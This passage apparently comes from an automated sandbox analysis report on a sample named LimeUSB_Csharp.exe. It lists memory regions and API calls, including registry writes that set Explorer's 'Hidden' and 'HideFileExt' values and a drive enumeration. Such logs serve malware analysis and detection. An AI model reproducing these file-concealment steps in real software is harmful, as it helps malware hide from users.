0x420000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 4643 start_va = 0x7fefe2f0000 end_va = 0x7fefe3cafff monitored = 0 entry_point = 0x7fefe310760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4644 start_va = 0x7fefdc20000 end_va = 0x7fefdcbefff monitored = 0 entry_point = 0x7fefdc225a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4645 start_va = 0x7fefe8e0000 end_va = 0x7fefe8fefff monitored = 0 entry_point = 0x7fefe8e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4646 start_va = 0x7fefe0c0000 end_va = 0x7fefe1ecfff monitored = 0 entry_point = 0x7fefe10ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4647 start_va = 0x360000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 4648 start_va = 0x540000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 4649 start_va = 0x7fef8cd0000 end_va = 0x7fef8d78fff monitored = 1 entry_point = 0x7fef8cd1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 4650 start_va = 0x7fefac50000 end_va = 0x7fefac52fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 4651 start_va = 0x7fefe960000 end_va = 0x7fefe9d0fff monitored = 0 entry_point = 0x7fefe971e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4652 start_va = 0x7fefd780000 end_va = 0x7fefd7e6fff monitored = 0 entry_point = 0x7fefd78b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4653 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4654 start_va = 0x7fefd7f0000 end_va = 0x7fefd7fdfff monitored = 0 entry_point = 0x7fefd7f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4655 start_va = 0x7fefdcc0000 end_va = 0x7fefdd88fff monitored = 0 entry_point = 0x7fefdd3a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4656 start_va = 0x360000 end_va = 0x388fff monitored = 0 entry_point = 0x361010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4657 start_va = 0x400000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 4658 start_va = 0x640000 end_va = 0x7c7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 4659 start_va = 0x360000 end_va = 0x388fff monitored = 0 entry_point = 0x361010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4660 start_va = 0x7fefdbf0000 end_va = 0x7fefdc1dfff monitored = 0 entry_point = 0x7fefdbf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4661 start_va = 0x7fefdfb0000 end_va = 0x7fefe0b8fff monitored = 0 entry_point = 0x7fefdfb1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4662 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4663 start_va = 0x150000 end_va = 0x150fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 4664 start_va = 0x170000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 4665 start_va = 0x7d0000 end_va = 0x950fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 4666 start_va = 0x1a70000 end_va = 0x2e6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001a70000" filename = "" Region: id = 4667 start_va = 0x2e70000 end_va = 0x392cfff monitored = 1 entry_point = 0x392e3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 4668 start_va = 0x2e70000 end_va = 0x392cfff monitored = 1 entry_point = 0x392e3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 4669 start_va = 0x7fefc570000 end_va = 0x7fefc57bfff monitored = 0 entry_point = 0x7fefc571064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4670 start_va = 0x7fef19b0000 end_va = 0x7fef2476fff monitored = 1 entry_point = 0x7fef19b63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 4671 start_va = 0x7fef27c0000 end_va = 0x7fef3286fff monitored = 1 entry_point = 0x7fef27c63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 4672 start_va = 0x7fef19b0000 end_va = 0x7fef2476fff monitored = 1 entry_point = 0x7fef19b63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 4673 start_va = 0x7fef8e60000 end_va = 0x7fef8e75fff monitored = 0 entry_point = 0x7fef8e6c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 4674 start_va = 0x7fef3c10000 end_va = 0x7fef3cccfff monitored = 0 entry_point = 0x7fef3c97db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 4675 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 4676 start_va = 0x360000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000360000" filename = "" Region: id = 4677 start_va = 0x370000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 4678 start_va = 0x7fe92350000 end_va = 0x7fe9235ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92350000" filename = "" Region: id = 4679 start_va = 0x7fe92360000 end_va = 0x7fe9236ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92360000" filename = "" Region: id = 4680 start_va = 0x7fe92370000 end_va = 0x7fe923fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92370000" filename = "" Region: id = 4681 start_va = 0x7fe92400000 end_va = 0x7fe9246ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92400000" filename = "" Region: id = 4682 start_va = 0x380000 end_va = 0x380fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 4683 start_va = 0x390000 end_va = 0x390fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4684 start_va = 0x960000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 4685 start_va = 0xaf0000 end_va = 0xd3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 4686 start_va = 0xd40000 end_va = 0xe3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d40000" filename = "" Region: id = 4687 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 4688 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 4689 start_va = 0x2e70000 end_va = 0x1ae6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e70000" filename = "" Region: id = 4690 start_va = 0x1ae70000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae70000" filename = "" Region: id = 4691 start_va = 0x960000 end_va = 0xa60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 4692 start_va = 0xa70000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 4693 start_va = 0xe60000 end_va = 0xf5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 4694 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 4695 start_va = 0xb50000 end_va = 0xc4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b50000" filename = "" Region: id = 4696 start_va = 0xcc0000 end_va = 0xd3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cc0000" filename = "" Region: id = 4697 start_va = 0x1b1f0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1f0000" filename = "" Region: id = 4698 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 4699 start_va = 0x1b2f0000 end_va = 0x1b5befff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4700 start_va = 0x7fef03b0000 end_va = 0x7fef19acfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 4701 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 4702 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 4703 start_va = 0x7fe92470000 end_va = 0x7fe924effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92470000" filename = "" Region: id = 4704 start_va = 0x7fefd800000 end_va = 0x7fefda02fff monitored = 0 entry_point = 0x7fefd823330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4705 start_va = 0x420000 end_va = 0x49cfff monitored = 0 entry_point = 0x42cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4706 start_va = 0x4c0000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 4707 start_va = 0x420000 end_va = 0x49cfff monitored = 0 entry_point = 0x42cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4708 start_va = 0x7fefd2a0000 end_va = 0x7fefd2aefff monitored = 0 entry_point = 0x7fefd2a1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4709 start_va = 0x7fefb330000 end_va = 0x7fefb332fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 4710 start_va = 0x7fef3140000 end_va = 0x7fef328efff monitored = 1 entry_point = 0x7fef3141090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 4711 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 4712 start_va = 0x1b5c0000 end_va = 0x1b6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5c0000" filename = "" Region: id = 4713 start_va = 0x7fe924f0000 end_va = 0x7fe924fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe924f0000" filename = "" Region: id = 4714 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 4715 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 4716 start_va = 0x7feef740000 end_va = 0x7fef03aefff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 4717 start_va = 0x7fef2f40000 end_va = 0x7fef3134fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 4718 start_va = 0x7feee690000 end_va = 0x7feef735fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 4719 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 4720 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 4721 start_va = 0x3e0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 4722 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 4723 start_va = 0x7fef8c30000 end_va = 0x7fef8c45fff monitored = 1 entry_point = 0x7fef8c3e5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 4724 start_va = 0x1b6b0000 end_va = 0x1b981fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Thread: id = 154 os_tid = 0x514 [0278.598] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0279.892] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", ulOptions=0x0, samDesired=0x2001f, phkResult=0x12e948 | out: phkResult=0x12e948*=0x1c4) returned 0x0 [0279.894] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x12e998, lpData=0x0, lpcbData=0x12e990*=0x0 | out: lpType=0x12e998*=0x4, lpData=0x0, lpcbData=0x12e990*=0x4) returned 0x0 [0279.895] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x12e998, lpData=0x12e978, lpcbData=0x12e990*=0x4 | out: lpType=0x12e998*=0x4, lpData=0x12e978*=0x2, lpcbData=0x12e990*=0x4) returned 0x0 [0279.910] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x12e958, lpData=0x0, lpcbData=0x12e950*=0x0 | out: lpType=0x12e958*=0x4, lpData=0x0, lpcbData=0x12e950*=0x4) returned 0x0 [0279.912] RegSetValueExW (in: hKey=0x1c4, lpValueName="Hidden", Reserved=0x0, dwType=0x4, lpData=0x12e9c8*=0x2, cbData=0x4 | out: lpData=0x12e9c8*=0x2) returned 0x0 [0279.912] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x12e998, lpData=0x0, lpcbData=0x12e990*=0x0 | out: lpType=0x12e998*=0x4, lpData=0x0, lpcbData=0x12e990*=0x4) returned 0x0 [0279.912] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x12e998, lpData=0x12e978, lpcbData=0x12e990*=0x4 | out: lpType=0x12e998*=0x4, lpData=0x12e978*=0x1, lpcbData=0x12e990*=0x4) returned 0x0 [0279.913] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x12e958, lpData=0x0, lpcbData=0x12e950*=0x0 | out: lpType=0x12e958*=0x4, lpData=0x0, lpcbData=0x12e950*=0x4) returned 0x0 [0279.913] RegSetValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", Reserved=0x0, dwType=0x4, lpData=0x12e9c8*=0x1, cbData=0x4 | out: lpData=0x12e9c8*=0x1) returned 0x0 [0279.917] GetLogicalDrives () returned 0x4 [0279.934] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x12d8d8 | out: phkResult=0x12d8d8*=0x0) returned 0x2 [0279.935] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0279.942] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x12e330, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0279.944] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0279.946] CoGetContextToken (in: pToken=0x12f7e0 | out: pToken=0x12f7e0) returned 0x0 [0279.946] CObjectContext::QueryInterface () returned 0x0 [0279.946] CObjectContext::GetCurrentThreadType () returned 0x0 [0279.946] Release () returned 0x0 [0279.949] CoGetContextToken (in: pToken=0x12f280 | out: pToken=0x12f280) returned 0x0 [0279.949] CObjectContext::QueryInterface () returned 0x0 [0279.949] CObjectContext::GetCurrentThreadType () returned 0x0 [0279.949] Release () returned 0x0 [0279.949] CoGetContextToken (in: pToken=0x12f280 | out: pToken=0x12f280) returned 0x0 [0279.950] CObjectContext::QueryInterface () returned 0x0 [0279.950] CObjectContext::GetCurrentThreadType () returned 0x0 [0279.950] Release () returned 0x0 [0279.954] CoGetContextToken (in: pToken=0x12f280 | out: pToken=0x12f280) returned 0x0 [0279.954] CObjectContext::QueryInterface () returned 0x0 [0279.954] CObjectContext::GetCurrentThreadType () returned 0x0 [0279.954] Release () returned 0x0 [0279.956] CoGetContextToken (in: pToken=0x12f2a0 | out: pToken=0x12f2a0) returned 0x0 [0279.956] CObjectContext::QueryInterface () returned 0x0 [0279.956] CObjectContext::GetCurrentThreadType () returned 0x0 [0279.956] Release () returned 0x0 [0279.958] CoUninitialize () Thread: id = 155 os_tid = 0x764 Thread: id = 156 os_tid = 0x9d0 [0279.180] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0279.951] RegCloseKey (hKey=0x1c4) returned 0x0 [0279.952] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 Thread: id = 157 os_tid = 0x69c Process: id = "32" image_name = "limeusb_csharp.exe" filename = "c:\\users\\public\\documents\\limeusb_csharp.exe" page_root = "0x5df1000" os_pid = "0x520" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x934" cmd_line = "\"C:\\Users\\Public\\Documents\\LimeUSB_Csharp.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4729 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4730 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4731 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4732 start_va = 0x210000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 4733 start_va = 0xfa0000 end_va = 0x1a63fff monitored = 1 entry_point = 0x1a5e3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 4734 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4735 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4736 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4737 start_va = 0x7fffe000 end_va = 0x7fffefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fffe000" filename = "" Region: id = 4738 start_va = 0x7feff780000 end_va = 0x7feff780fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4739 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4740 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 4741 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4742 start_va = 0x310000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 4743 start_va = 0x7fef8d10000 end_va = 0x7fef8d7efff monitored = 1 entry_point = 0x7fef8d11134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Thread: id = 158 os_tid = 0x78c